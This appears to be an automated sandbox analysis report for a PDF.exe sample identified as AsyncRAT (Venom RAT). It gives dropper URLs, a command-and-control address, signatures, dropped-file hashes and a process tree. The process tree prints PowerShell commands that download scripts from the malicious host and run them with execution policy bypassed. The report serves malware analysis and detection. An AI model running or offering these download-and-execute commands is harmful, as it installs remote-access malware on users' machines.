Resubmissions

21/01/2025, 13:31

250121-qspexswjes10

21/01/2025, 12:04

250121-n8tngasrhm10

13/07/2024, 12:59

240713-p8a2ss1gpq10

Analysis

  • max time kernel
    134s
  • max time network
    146s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13/07/2024, 12:59

General

  • Target
    PDF.exe
  • Size 258KB
  • Sample240713-p8a2ss1gpq
  • SHA256 ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://thelustfactory.com/vns/1.ps1

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://thelustfactory.com/vns/2.ps1

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://thelustfactory.com/vns/winrar.exe

Extracted

Family
  • asyncrat

Version
  • Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet
  • Default

C2
  • 54.153.17.157:14445

Mutex
  • rpujporiumcisxsdyop

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • HTTP links in PDF interactive object 1 IoCs

    Detects HTTP links in interactive objects within PDF files.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PDF.exe
    "C:\Users\Admin\AppData\Local\Temp\PDF.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\69A7.tmp\69A8.tmp\69A9.bat C:\Users\Admin\AppData\Local\Temp\PDF.exe"
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/1.ps1', 'C:\Users\Admin\AppData\Roaming\1.ps1')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/2.ps1', 'C:\Users\Admin\AppData\Roaming\2.ps1')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\1.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\2.ps1
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Users\Admin\AppData\Roaming\winrar.exe
          "C:\Users\Admin\AppData\Roaming\winrar.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1900
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:1780
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\pdf.pdf"
        3⤵
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:800
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7AD456181D8FC2FFDEC1DD97520C0B83 --mojo-platform-channel-handle=1632 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
              PID:952
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=44FAF06498A96CABB645B45747DB214C --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=44FAF06498A96CABB645B45747DB214C --renderer-client-id=2 --mojo-platform-channel-handle=1640 --allow-no-sandbox-job /prefetch:1
              5⤵
                PID:4632
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7F3E92CCE6DDD5280B539E4C5E0ADF37 --mojo-platform-channel-handle=2244 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                5⤵
                  PID:2916
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BA7D9D0A680B97A748BC89318645D5DD --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BA7D9D0A680B97A748BC89318645D5DD --renderer-client-id=5 --mojo-platform-channel-handle=2312 --allow-no-sandbox-job /prefetch:1
                  5⤵
                    PID:1188
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9C23A54666E4A31B9BC59BA6C3F964E2 --mojo-platform-channel-handle=2576 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    5⤵
                      PID:2900
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3CD357F5B5EB004043C4E9973A6713B2 --mojo-platform-channel-handle=2708 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:404

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    ReaderMessages

                    • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                    • Size 36KB
                    • SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
                    • MD5 SHA1 SHA512 SSDEEP

                    ReaderMessages

                    • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                    • Size 56KB
                    • SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
                    • MD5 SHA1 SHA512 SSDEEP

                    ReaderMessages

                    • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                    • Size 64KB
                    • SHA256 3ac8d46a2d4904d43773d9f911f1af3606ccbe9808f4da1f21fb71a9836a100d
                    • MD5 SHA1 SHA512 SSDEEP

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 3KB
                    • SHA256 c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 2d288fcd775b43b1d5741af64732946d0836f3b4de234b5c3fe33a687a10f084
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 d9be31385765c19207c2f45f4d8b36649557da6b46e700d68dbc9341ce3bd1aa
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 c4235ede5857c58f8740219df65184efaa18ec42ecc32c694d58a6ea3961a020
                    • MD5 SHA1 SHA512

                    69A9.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\69A7.tmp\69A8.tmp\69A9.bat
                    • Size 712B
                    • SHA256 b67f37e765a5be87d9591efdb0501f0c97aa342ad1e4c34a711828c4a505c81e
                    • MD5 SHA1 SHA512

                    __PSScriptPolicyTest_m53hjzqm.yml.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m53hjzqm.yml.ps1
                    • Size 1B
                    • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
                    • MD5 SHA1 SHA512

                    1.ps1

                    • Path C:\Users\Admin\AppData\Roaming\1.ps1
                    • Size 292B
                    • SHA256 3fe1c7a75ff9897ee9d4489221e4b6f15632104a8b044bfd77b61d530ba6959b
                    • MD5 SHA1 SHA512

                    2.ps1

                    • Path C:\Users\Admin\AppData\Roaming\2.ps1
                    • Size 276B
                    • SHA256 f029b124f899b34b0229f1a74a7e46b51b9853c73399a9eb922a13459c79b027
                    • MD5 SHA1 SHA512

                    pdf.pdf

                    • Path C:\Users\Admin\AppData\Roaming\pdf.pdf
                    • Size 139KB
                    • SHA256 38c9792d725c45dd431699e6a3b0f0f8e17c63c9ac7331387ee30dcc6e42a511
                    • MD5 SHA1 SHA512 SSDEEP

                    winrar.exe

                    • Path C:\Users\Admin\AppData\Roaming\winrar.exe
                    • Size 78KB
                    • SHA256 58cd06e6011f7ce13d7ea4f7a2476c1bae3d3250b704d34030dc11818b7f403a
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1900-138-0x0000000000830000-0x0000000000848000-memory.dmp

                    memory/3988-34-0x00007FFE78560000-0x00007FFE78F4C000-memory.dmp

                    memory/3988-29-0x00007FFE78560000-0x00007FFE78F4C000-memory.dmp

                    memory/3988-24-0x00007FFE78560000-0x00007FFE78F4C000-memory.dmp

                    memory/3988-13-0x0000024D2BBC0000-0x0000024D2BC36000-memory.dmp

                    memory/3988-12-0x00007FFE78560000-0x00007FFE78F4C000-memory.dmp

                    memory/3988-9-0x0000024D2BB10000-0x0000024D2BB32000-memory.dmp

                    memory/3988-7-0x00007FFE78563000-0x00007FFE78564000-memory.dmp